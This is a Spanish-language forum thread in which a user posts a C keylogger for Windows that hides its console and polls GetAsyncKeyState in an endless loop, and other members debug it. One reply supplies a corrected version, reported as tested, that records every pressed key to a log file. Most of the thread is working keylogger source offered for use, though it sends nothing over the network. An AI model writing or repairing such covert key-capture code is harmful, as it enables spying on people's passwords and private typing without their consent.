Keylogger queda ejecutándose en un while infinito

Iniciado por kutcher, 13 Septiembre 2014, 02:44 AM

0 Miembros y 1 Visitante están viendo este tema.

kutcher

Buenas, tengo el siguiente programa :

Código (cpp) [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main(void)
{
    FILE *f;
    int i, n = 0;
    int line[256];

    FreeConsole();

    if(! (f = fopen("log.txt", "ab+")))
        return EXIT_FAILURE;

    while(1)
    {
        for(i = 0; i < 255; i++)
        {
            if(GetAsyncKeyState(i) == -32767)
            {
                if( n < 255)
                    line[n++] = i;
                else
                {
                    line[n] = '\0';
                    fprintf(f, "%s\n", line);
                    n = 0;
                }
            }
        }
        Sleep(2);
    }
    fclose(f);

    return EXIT_SUCCESS;
}


Como he comentado este programa que en un loop infinito y según veo no hace absolutamente nada alguien podría explicarme como funciona esto exactamente

Saludos kutcher

engel lex

si, es un loop infinito... es un keylogger no? que quieres más que haga?
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

kutcher

#2
Cita de: engel lex en 13 Septiembre 2014, 02:57 AM
que quieres más que haga?

Lo mismo me pregunto? según veo debería ir almacenando en un txt los caracteres que se vayan presionado mientras esto suceda pero nada.. aparte te pediría que si no tienes argumentos suficientes para replicar de una manera u otra que de tal forma me sea útil tu respuesta; en cambio al no ser este el caso no me respondas pregunta por preguntas obvias

Saludos kutcher




engel lex

no se :P realmente no se como funciona el lio con GetAsyncKeyState si quieres buscate la documentacion...

por aqui igual hay un tema de keylogger... el codigo está un poco dañado por el foro, pero seguramente puedes leerlo
http://foro.elhacker.net/buscador2-t419324.0.html;msg1957917#msg1957917
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

BloodSharp

Hay un pequeño detalle que msdn menciona respecto a GetAsyncKeyState y que indica que si la tecla que le pasás por parámetro está presionada el valor de retorno (en su bit menos significativo) si es distinto a cero significa que la tecla fue presionada...

Habiendo explicado eso podrías probar lo siguiente:
if(GetAsyncKeyState(tecla)&1)
{
     //tecla presionada codigo
}
else
{
    //tecla no fue presionada codigo
}


Por otra parte usar un bucle infinito para capturar teclas es un asesinato de cpu espectacular lo cual el proceso consumiría una banda de uso del/los procesador/es de tu pc, lo ideal sería capturar las teclas mediante mensajes del sistema operativo ya que de esa forma optimizarías el uso de tu programa con respecto a los otros procesos.


B#



engel lex

el usa un sleep de 2ms... aunque es muy corto, es suficiente...

pero
Citarmost significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks.

no quise opinar porque decía que no se debe confiar en este comportamiento... y de todas todos los key que he visto por aqui usan ese metodo... no se que otro pueden usar tampoco
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

BloodSharp

#6
Ups me confundí era el bit más signficativo, había leido solamente la parte del bit menos significativo que menciona a que se si se presiona después de que la rutina es llamada :P respecto a ese comportamiento supongo que es por compatibilidad para versiones de windows prehistoricas... En todo caso debería ser:
if(GetAsyncKeyState(tecla)&0x80000000)
{
//presionado
}
else
{
//no presionado
}


EDIT: Ahí lo miré y modifiqué un poco el código, lo probé y funciona con MINGW
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define MAX_VIRTUALKEY 0xFF

char szKeyIntegerFormat[]="%i ";

BOOL InsertKey(int key)
{
    FILE *lpFile;
    if((lpFile=fopen("log.txt","a")))
    {
        printf(szKeyIntegerFormat,key);
        fprintf(lpFile,szKeyIntegerFormat,key);
        fclose(lpFile);
        return TRUE;
    }
    return FALSE;
}

int main(void)
{
   int iVirtualKey;
   //FreeConsole();
   while(TRUE)
   {
       for(iVirtualKey=0;iVirtualKey<MAX_VIRTUALKEY;iVirtualKey++)
           if(GetAsyncKeyState(iVirtualKey)&0x80000000)
               if(!InsertKey(iVirtualKey))
                   return EXIT_FAILURE;
       Sleep(100);
   }
   return EXIT_SUCCESS;
}



B#